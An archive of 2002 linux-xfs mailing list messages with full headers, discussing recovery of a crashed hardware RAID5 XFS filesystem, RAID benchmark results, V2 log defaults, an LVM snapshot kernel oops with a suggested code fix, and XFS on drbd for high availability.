14 Aug 2002 10:16:15 -0500 (CDT) Subject: Re: Problem repairing filesystem From: Eric Sandeen To: Paul Schutte Cc: Seth Mos , XFS mailing list In-Reply-To: <3D5A5D5D.AEE17BD8@up.ac.za> References: <4.3.2.7.2.20020814140949.03bba840@pop.xs4all.nl> <3D5A5D5D.AEE17BD8@up.ac.za> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 14 Aug 2002 10:10:42 -0500 Message-Id: <1029337845.20977.17.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, 2002-08-14 at 08:38, Paul Schutte wrote: > > > > The zero problem is fixed in the 1.1 release and should be no longer > > present. That was one of _the_ important fixes in the 1.1 release. > > ftp://oss.sgi.com/projects/xfs/download/Release-1.1/kernel_rpms/2.4.9-31-RH/SRPMS/kernel-2.4.9-31SGI_XFS_1.1.src.rpm > > Was the kernel running. It was 1-1 backported to 2.4.9 by SGI ? Release 1.1 closed the window on the zeroed files, so they're less likely, but not impossible, after a crash. Sorry, no ideas on the repair problem yet, but wanted to chime in with that tidbit. -Eric -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Wed Aug 14 08:32:31 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EFWPRw004380 for ; Wed, 14 Aug 2002 08:32:25 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EFWPKF004379 for linux-xfs-outgoing; Wed, 14 Aug 2002 08:32:25 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mx.de.kpnqwest.net (mx.de.kpnqwest.net [193.141.40.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EFVoRw004351 for ; Wed, 14 Aug 2002 08:31:51 -0700 Received: from lizard.webland.de (lizard.webland.de [194.122.76.201]) by mx.de.kpnqwest.net (Postfix (mxkq01)) with ESMTP id AE062C211; Wed, 14 Aug 2002 17:13:07 +0200 (MEST) (envelope-from simon.matter@ch.sauter-bc.com) Received: (from uucp@localhost) by lizard.webland.de (8.8.8/8.8.7) id RAA15107; Wed, 14 Aug 2002 17:13:07 +0200 (MET DST) >Received: from mobile.sauter-bc.com (unknown [10.1.6.21]) by basel1.sauter-bc.com (Postfix) with ESMTP id 19D2157306; Wed, 14 Aug 2002 17:12:45 +0200 (CEST) Received: from ssba-bsl.cad.sba (ssba-bsl.cad.sba [10.1.6.20]) by mobile.sauter-bc.com (Postfix) with ESMTP id DEBDF25835; Wed, 14 Aug 2002 17:12:44 +0200 (CEST) Received: from ch.sauter-bc.com (sup.cad.sba [10.1.200.117]) by ssba-bsl.cad.sba (Postfix) with ESMTP id 013F230881D; Wed, 14 Aug 2002 17:12:44 +0200 (CEST) Message-ID: <3D5A736B.99998201@ch.sauter-bc.com> Date: Wed, 14 Aug 2002 17:12:43 +0200 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.19-6.2.16 i686) X-Accept-Language: de-CH MIME-Version: 1.0 To: Paul Schutte Cc: Seth Mos , XFS mailing list Subject: Re: Problem repairing filesystem References: <4.3.2.7.2.20020814140949.03bba840@pop.xs4all.nl> <3D5A5D5D.AEE17BD8@up.ac.za> Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Paul Schutte schrieb: > > Seth Mos wrote: > > > At 12:31 14-8-2002 +0200, Paul Schutte wrote: > > >Background: > > >---------------- > > > > > >I ran a ftp server on a pentium II 333Mhz with 256M RAM, using the > > >2.4.9-31-xfs kernel. > > >Used 4 x 120 Gb IDE drives in a RAID 5 array on an Adaptec 2400 hardware > > >raid controller. > > >There is a 4Gb root partition and a +/- 320Gb data partition. > > > > > >One of the drives failed and the machine crashed. > > > > Adaptec is not known for there quality of the raid drivers. aacraid comes > > to mind. I suggest using software raid instead. I like software raid. > > > > software RAID5 with internal log using postmark v1.5 > Time: > 6186 seconds total > 5840 seconds of transactions (17 per second) > > Files: > 60125 created (9 per second) > Creation alone: 10000 files (121 per second) > Mixed with transactions: 50125 files (8 per second) > 50110 read (8 per second) > 49822 appended (8 per second) > 60125 deleted (9 per second) > Deletion alone: 10250 files (38 per second) > Mixed with transactions: 49875 files (8 per second) > > Data: > 3113.25 megabytes read (515.35 kilobytes per second) > 3731.11 megabytes written (617.63 kilobytes per second) > > hardware raid5 using postmark v1.5: > Time: > 749 seconds total > 709 seconds of transactions (141 per second) > > Files: > 60125 created (80 per second) > Creation alone: 10000 files (416 per second) > Mixed with transactions: 50125 files (70 per second) > 50110 read (70 per second) > 49822 appended (70 per second) > 60125 deleted (80 per second) > Deletion alone: 10250 files (640 per second) > Mixed with transactions: 49875 files (70 per second) > > Data: > 3113.25 megabytes read (4.16 megabytes per second) > 3731.11 megabytes written (4.98 megabytes per second) Hmm, tell me if I'm wrong but I'm quite sure you were using software RAID5 with internal log. Use external log with this kernel (2.4.9-31-xfs) and you'll see a big difference! I'm running 2.4.9-34-xfs on software RAID5 on a DELL server with hardware RAID. Simon > > > > > >We replaced the drive and rebuild the array. > > > > Why rebuild the array when you have hardware raid5. You should be able to > > boot the degraded array and work from there. > > > > Good question. > That was the whole idea, but I it did'nt work out in practice. > I am not sure why. > > > > > >I booted up with a CD that I created a while a go with > > >2.4.19-pre9-20020604 and mounted a > > > > I understand that the machine did not boot anymore after the crash? Can it > > be that the drive had write caching which made it fail horribly in the end > > and crashed the machine? > > > > The controller was set not to cache writes, but I don't know what the > controller did with each drive. > It never lost power, so write caching should not be a problem. > It took 2 days to get the new harddisk and only then did we switch it off. > > It did boot, but crashed almost immediatly. > You can't repair a xfs root partittion without a rescue disk and therefore > the nfs trick. > > > > > >nfs root partition with all the xfs tools on it. > > >We ran xfs_repair (version 2.2.1) on the root partition of the raid > > >array. > > >A lot of the files have the dreaded zero problem, but apart from that it > > >is mountable and usable. > > > > The zero problem is fixed in the 1.1 release and should be no longer > > present. That was one of _the_ important fixes in the 1.1 release. > > ftp://oss.sgi.com/projects/xfs/download/Release-1.1/kernel_rpms/2.4.9-31-RH/SRPMS/kernel-2.4.9-31SGI_XFS_1.1.src.rpm > > Was the kernel running. It was 1-1 backported to 2.4.9 by SGI ? > > > > > > > >fatal error -- can't read block 0 for directory inode 2097749 > > > > > > > > >When you mount the filesystem, it is empty (except for lost+found which > > >is also empty) > > > > Do you have the ability to fetch the current CVS tools and see if that > > works better? > > xfs_repair version 2.2.1 (which is what I used) is the latest. (It was on > 2002-08-13) > > > > > > > >The output of xfs_repair is large about 300k bzip2'ed. It would be best > > >if interested parties download it. > > > > > >http://www2.up.ac.za/paul/xfs_repair.out.bz2 > > > > > >http://www2.up.ac.za/paul/dmesg.out.bz2 > > > > > >Questions: > > >-------------- > > >Have I lost the 320G partition or does someone still have a trick up > > >their sleeve ? > > > > I think it is lost, maybe one of the developers has any clues. > > > > >Would it be possible to make xfs_repair use a lot less memory ? > > >My guess is that the filesystem got it's final blow by xfs_repair > > >exiting prematurely. > > > > Quite possible. There have been some fixes for xfs_repair and the memory > > usage but I don't think every single case is handled for low memory use. > > > > Did the disk have a lot of small files (in the order of a million files in > > one directory or so? > > > > Nope, > > It was a mirror server. > Mirrors of redhat,debian,suse,gentoo,kernel.org,exim,apache,jakarta-tomcat > and a lot other sites that I can't > remember off by heart. > > Some of our users also uploaded some stuff which they wanted to be available > via ftp. > > > > > Cheers > > > > -- > > Seth > > It might just be your lucky day, if you only knew. > > Thanx > > Paul From owner-linux-xfs@oss.sgi.com Wed Aug 14 08:35:45 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EFZjRw004577 for ; Wed, 14 Aug 2002 08:35:45 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EFZjnL004576 for linux-xfs-outgoing; Wed, 14 Aug 2002 08:35:45 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EFZWRw004546 for ; Wed, 14 Aug 2002 08:35:33 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA30867; Wed, 14 Aug 2002 10:37:59 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA34865; Wed, 14 Aug 2002 10:37:58 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7EFZxP21169; Wed, 14 Aug 2002 10:35:59 -0500 Subject: Re: Problem repairing filesystem From: Steve Lord To: Simon Matter Cc: Paul Schutte , Seth Mos , XFS mailing list In-Reply-To: <3D5A736B.99998201@ch.sauter-bc.com> References: <4.3.2.7.2.20020814140949.03bba840@pop.xs4all.nl> <3D5A5D5D.AEE17BD8@up.ac.za> <3D5A736B.99998201@ch.sauter-bc.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 14 Aug 2002 10:35:59 -0500 Message-Id: <1029339359.18361.36.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.6 required=5.0 tests=IN_REP_TO,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, 2002-08-14 at 10:12, Simon Matter wrote: > Paul Schutte schrieb: > > > > Seth Mos wrote: > > > > > At 12:31 14-8-2002 +0200, Paul Schutte wrote: > > > >Background: > > > >---------------- > > > > > > > >I ran a ftp server on a pentium II 333Mhz with 256M RAM, using the > > > >2.4.9-31-xfs kernel. > > > >Used 4 x 120 Gb IDE drives in a RAID 5 array on an Adaptec 2400 hardware > > > >raid controller. > > > >There is a 4Gb root partition and a +/- 320Gb data partition. > > > > > > > >One of the drives failed and the machine crashed. > > > > > > Adaptec is not known for there quality of the raid drivers. aacraid comes > > > to mind. I suggest using software raid instead. I like software raid. > > > > > > > software RAID5 with internal log using postmark v1.5 > > Time: > > 6186 seconds total > > 5840 seconds of transactions (17 per second) > > > > Files: > > 60125 created (9 per second) > > Creation alone: 10000 files (121 per second) > > Mixed with transactions: 50125 files (8 per second) > > 50110 read (8 per second) > > 49822 appended (8 per second) > > 60125 deleted (9 per second) > > Deletion alone: 10250 files (38 per second) > > Mixed with transactions: 49875 files (8 per second) > > > > Data: > > 3113.25 megabytes read (515.35 kilobytes per second) > > 3731.11 megabytes written (617.63 kilobytes per second) > > > > hardware raid5 using postmark v1.5: > > Time: > > 749 seconds total > > 709 seconds of transactions (141 per second) > > > > Files: > > 60125 created (80 per second) > > Creation alone: 10000 files (416 per second) > > Mixed with transactions: 50125 files (70 per second) > > 50110 read (70 per second) > > 49822 appended (70 per second) > > 60125 deleted (80 per second) > > Deletion alone: 10250 files (640 per second) > > Mixed with transactions: 49875 files (70 per second) > > > > Data: > > 3113.25 megabytes read (4.16 megabytes per second) > > 3731.11 megabytes written (4.98 megabytes per second) > > Hmm, tell me if I'm wrong but I'm quite sure you were using software > RAID5 with internal log. Use external log with this kernel > (2.4.9-31-xfs) and you'll see a big difference! I'm running 2.4.9-34-xfs > on software RAID5 on a DELL server with hardware RAID. > > Simon > So have any of you folks tried V2 logs with striping on a software raid, it should fix the performance there. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Wed Aug 14 09:02:18 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EG2IRw005213 for ; Wed, 14 Aug 2002 09:02:18 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EG2IQh005212 for linux-xfs-outgoing; Wed, 14 Aug 2002 09:02:18 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EG2BRw005184 for ; Wed, 14 Aug 2002 09:02:11 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g7EG4gRY102066; Wed, 14 Aug 2002 12:04:42 -0400 Received: from chavez.austin.ibm.com (chavez.austin.ibm.com [9.53.216.228]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7EG4fmk124250; Wed, 14 Aug 2002 10:04:42 -0600 Subject: Re: Problem repairing filesystem From: Luciano Chavez To: Steve Lord Cc: XFS mailing list In-Reply-To: <1029339359.18361.36.camel@jen.americas.sgi.com> References: <4.3.2.7.2.20020814140949.03bba840@pop.xs4all.nl> <3D5A5D5D.AEE17BD8@up.ac.za> <3D5A736B.99998201@ch.sauter-bc.com> <1029339359.18361.36.camel@jen.americas.sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 14 Aug 2002 11:00:17 -0500 Message-Id: <1029340818.2690.21.camel@chavez> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.4 required=5.0 tests=IN_REP_TO,FROM_ENDS_IN_NUMS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, 2002-08-14 at 10:35, Steve Lord wrote: > So have any of you folks tried V2 logs with striping on a software raid, > it should fix the performance there. Steve, Just out of curiosity, is the reason that a mkfs.xfs with the latest xfsprogs that supports V2 logs doesn't get set to version 2 when stripe info is detected due to backward compatibility? That is, if you have either MD or LVM striping or EVMS, the log version still defaults to 1. I seem to remember a discussion at one time that mkfs would default to version 2 if stripe info was detected or a sunit and swidth given. -- regards, Luciano Chavez lnx1138@us.ibm.com http://evms.sourceforge.net From owner-linux-xfs@oss.sgi.com Wed Aug 14 09:04:27 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EG4RRw005315 for ; Wed, 14 Aug 2002 09:04:27 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EG4RnW005314 for linux-xfs-outgoing; Wed, 14 Aug 2002 09:04:27 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EG4JRw005278 for ; Wed, 14 Aug 2002 09:04:20 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA30581; Wed, 14 Aug 2002 11:06:46 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA91646; Wed, 14 Aug 2002 11:06:46 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7EG4k421435; Wed, 14 Aug 2002 11:04:46 -0500 Subject: Re: Problem repairing filesystem From: Steve Lord To: Luciano Chavez Cc: XFS mailing list In-Reply-To: <1029340818.2690.21.camel@chavez> References: <4.3.2.7.2.20020814140949.03bba840@pop.xs4all.nl> <3D5A5D5D.AEE17BD8@up.ac.za> <3D5A736B.99998201@ch.sauter-bc.com> <1029339359.18361.36.camel@jen.americas.sgi.com> <1029340818.2690.21.camel@chavez> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 14 Aug 2002 11:04:46 -0500 Message-Id: <1029341086.18360.61.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.3 required=5.0 tests=IN_REP_TO,PORN_10 version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, 2002-08-14 at 11:00, Luciano Chavez wrote: > On Wed, 2002-08-14 at 10:35, Steve Lord wrote: > > > So have any of you folks tried V2 logs with striping on a software raid, > > it should fix the performance there. > > Steve, > > Just out of curiosity, is the reason that a mkfs.xfs with the latest > xfsprogs that supports V2 logs doesn't get set to version 2 when stripe > info is detected due to backward compatibility? That is, if you have > either MD or LVM striping or EVMS, the log version still defaults to 1. > > I seem to remember a discussion at one time that mkfs would default to > version 2 if stripe info was detected or a sunit and swidth given. The version I have will default to version 2 if -l sunit=xxx is on the command line, not sure if it will do it if the device itself returns a stripe unit. Will have to check on that. Steve > > -- > regards, > > Luciano Chavez > > lnx1138@us.ibm.com > http://evms.sourceforge.net -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Wed Aug 14 10:01:25 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EH1PRw006159 for ; Wed, 14 Aug 2002 10:01:25 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EH1OuH006158 for linux-xfs-outgoing; Wed, 14 Aug 2002 10:01:24 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from karnickel.franken.de (mx0-wue.franken.de [217.6.190.221]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EH1GRw006130 for ; Wed, 14 Aug 2002 10:01:17 -0700 Received: from karnickel.franken.de (localhost [127.0.0.1]) by karnickel.franken.de (8.12.2/8.12.2) with ESMTP id g7EH3kjn086934 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 14 Aug 2002 19:03:47 +0200 (CEST) (envelope-from erik@debian.franken.de) Received: (from uucp@localhost) by karnickel.franken.de (8.12.2/8.12.2/Submit) with UUCP id g7EH3k2Q086933; Wed, 14 Aug 2002 19:03:46 +0200 (CEST) (envelope-from erik@debian.franken.de) Received: by debian.franken.de (Postfix, from userid 1000) id 0D0651460; Wed, 14 Aug 2002 19:01:20 +0200 (CEST) Date: Wed, 14 Aug 2002 19:01:20 +0200 To: linux-xfs@oss.sgi.com Cc: lvm-devel@sistina.com Subject: oops when creating an lvm-snapshot Message-ID: <20020814170120.GA23422@no-maam.dyndns.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i From: erik@debian.franken.de (Erik Tews) X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi I had a problem with lvm and a current xfs-snapshot. I fetched an xfs-kernel from cvs today, patched it with lvm 1.0.5 and vfs-lock-patch for 2.4.19 and then builded it without quota-support. (because the patch tried to call DQUOT_SYNC and only DQUOT_SYNC_DEV and DQUOT_SYNC_SB existed in your kernel, and I changed that line to DQUOT_SYNC_DEV becuase the second argument was a device) Then i did a lvcreate, a mkfs.xfs on that lv, copied some data, and then called lvcreate -s on that device. In this moment my kernel oopsed, and this are the important lines from the stack-backtrace I got from kdb: ESP EIP Function (args) 0xc5849a48 0xc01ef635 xfs_fs_freeze+0x5d (0xc8d77000) kernel .text 0xc0100000 0xc01ef5d8 0xc01ef65c 0xc5849a54 0xc021782e xfs_ioctl+0x102e (0xc5f11e68, 0xc5f0fc5c, 0x0, 0xc0045877, 0x0) kernel .text 0xc0100000 0xc0216800 0xc02178d7 So, first question, can somebody reproduce that, and does somebody know how to fix it? xfs_fs_freeze was called the usual way I think. From owner-linux-xfs@oss.sgi.com Wed Aug 14 10:06:54 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EH6sRw006377 for ; Wed, 14 Aug 2002 10:06:54 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EH6s0n006376 for linux-xfs-outgoing; Wed, 14 Aug 2002 10:06:54 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EH6lRw006346 for ; Wed, 14 Aug 2002 10:06:47 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA31775; Wed, 14 Aug 2002 12:09:12 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id MAA92864; Wed, 14 Aug 2002 12:09:11 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7EH7C822723; Wed, 14 Aug 2002 12:07:12 -0500 Subject: Re: oops when creating an lvm-snapshot From: Steve Lord To: Erik Tews Cc: linux-xfs@oss.sgi.com, lvm-devel@sistina.com In-Reply-To: <20020814170120.GA23422@no-maam.dyndns.org> References: <20020814170120.GA23422@no-maam.dyndns.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 14 Aug 2002 12:07:12 -0500 Message-Id: <1029344832.15672.90.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.6 required=5.0 tests=IN_REP_TO,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, 2002-08-14 at 12:01, Erik Tews wrote: > Hi > > > ESP EIP Function (args) > 0xc5849a48 0xc01ef635 xfs_fs_freeze+0x5d (0xc8d77000) > kernel .text 0xc0100000 0xc01ef5d8 0xc01ef65c > 0xc5849a54 0xc021782e xfs_ioctl+0x102e (0xc5f11e68, 0xc5f0fc5c, 0x0, 0xc0045877, 0x0) > kernel .text 0xc0100000 0xc0216800 0xc02178d7 I think this is regression introduced yesterday, we changed some structures around. Try editing fs/xfs/xfs_fsops.c Look for this code around line 580: if (mp->m_rtdev != 0) { xfs_binval(mp->m_rtdev_targp); } Change it to: if (mp->m_rtdev_targp) { xfs_binval(mp->m_rtdev_targp); } and see if that fixes it for you. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Wed Aug 14 10:07:33 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EH7XRw006455 for ; Wed, 14 Aug 2002 10:07:33 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EH7XLf006454 for linux-xfs-outgoing; Wed, 14 Aug 2002 10:07:33 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf05bis.bellsouth.net (mail305.mail.bellsouth.net [205.152.58.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EH7KRw006412 for ; Wed, 14 Aug 2002 10:07:25 -0700 Received: from TAZ2 ([66.156.6.7]) by imf05bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020814171123.FZMF1197.imf05bis.bellsouth.net@TAZ2>; Wed, 14 Aug 2002 13:11:23 -0400 Date: Wed, 14 Aug 2002 13:08:37 -0400 From: Greg Freemyer Subject: re[2]: XFS and net devices, any pros or cons ? To: Steve Lord , Blizbor (IMA) cc: Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020814171123.FZMF1197.imf05bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7EH7QRw006418 X-Spam-Status: No, hits=-0.1 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk >> The normal way we setup something like this is to use a shared scsi >> or fiberchannel disk setup, that way you no longer have a singe >> point of failure. If you are putting the disks into one of the >> two computers then if that system goes down you are dead in the >> water. The other aspect of the above setup is using something >> like failsafe, the two nodes monitor each other, and can (if >> setup correctly) shoot the other node down and take over the >> filesystem if it detects problems. failsafe itself is opensource, >> not sure if the components of it which fail over the filesystem >> to the other node are. Of course all this assumes using the fs >> via NFS - the second node takes over the ip address of the failed >> node. >> A quick look at drbd on the net seems to show that it is designed >> for these sorts of setups, and it has links to all the high >> availability stuff for linux. >> That aside, there should be no problem doing this, provided you >> make sure the unmount from one system is complete before attempting >> to mount on the other system. Mounting a filesystem which is >> already mounted elsewhere is not a good thing, the second system >> will think the fs needs recovery running on it. >> Steve I don't think drbd is designed for use in a shared SCSI environment. It is more of a RAID 1 driver where the 2 halves of the mirror are on the 2 different servers using internal disks. I believe it has support for ordered writes, but I for one would not simply assume XFS and drbd are compatible. Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Wed Aug 14 10:15:35 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EHFZRw006819 for ; Wed, 14 Aug 2002 10:15:35 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EHFZ1h006818 for linux-xfs-outgoing; Wed, 14 Aug 2002 10:15:35 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EHFNRw006780 for ; Wed, 14 Aug 2002 10:15:23 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA21923; Wed, 14 Aug 2002 12:17:49 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id MAA60958; Wed, 14 Aug 2002 12:17:49 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7EHFnv23044; Wed, 14 Aug 2002 12:15:49 -0500 Subject: Re: re[2]: XFS and net devices, any pros or cons ? From: Steve Lord To: Greg Freemyer Cc: Blizbor , linux-xfs@oss.sgi.com In-Reply-To: <20020814171123.FZMF1197.imf05bis.bellsouth.net@TAZ2> References: <20020814171123.FZMF1197.imf05bis.bellsouth.net@TAZ2> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 14 Aug 2002 12:15:49 -0500 Message-Id: <1029345349.15708.98.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, 2002-08-14 at 12:08, Greg Freemyer wrote: > >> The normal way we setup something like this is to use a shared scsi > >> or fiberchannel disk setup, that way you no longer have a singe > >> point of failure. If you are putting the disks into one of the > >> two computers then if that system goes down you are dead in the > >> water. The other aspect of the above setup is using something > >> like failsafe, the two nodes monitor each other, and can (if > >> setup correctly) shoot the other node down and take over the > >> filesystem if it detects problems. failsafe itself is opensource, > >> not sure if the components of it which fail over the filesystem > >> to the other node are. Of course all this assumes using the fs > >> via NFS - the second node takes over the ip address of the failed > >> node. > > >> A quick look at drbd on the net seems to show that it is designed > >> for these sorts of setups, and it has links to all the high > >> availability stuff for linux. > > >> That aside, there should be no problem doing this, provided you > >> make sure the unmount from one system is complete before attempting > >> to mount on the other system. Mounting a filesystem which is > >> already mounted elsewhere is not a good thing, the second system > >> will think the fs needs recovery running on it. > > >> Steve > > I don't think drbd is designed for use in a shared SCSI environment. I did not intend to imply it was, just presenting a different way to build a resilient configuration. > > It is more of a RAID 1 driver where the 2 halves of the mirror are on the 2 different servers using internal disks. > > I believe it has support for ordered writes, but I for one would not simply assume XFS and drbd are compatible. > Ah, I should have read more.... if the fs is mirrored between the two hosts then there is a chance it will work OK. However, the interesting part of XFS is write ordering - there are certain writes which we need to know have made it down to disk and will survive a crash. In this sort of setup I really do not know where the data will be once drbd says it is written. Probably still in cache on the remote box for a start. There may well be circumstances where loss of both machines will cause filesystem corruption. you are right, testing such a setup before going live with it is important, please do not take my comments as meaning it will definitely work. Steve > Greg Freemyer > Internet Engineer > Deployment and Integration Specialist > Compaq ASE - Tru64 v4, v5 > Compaq Master ASE - SAN Architect > The Norcross Group > 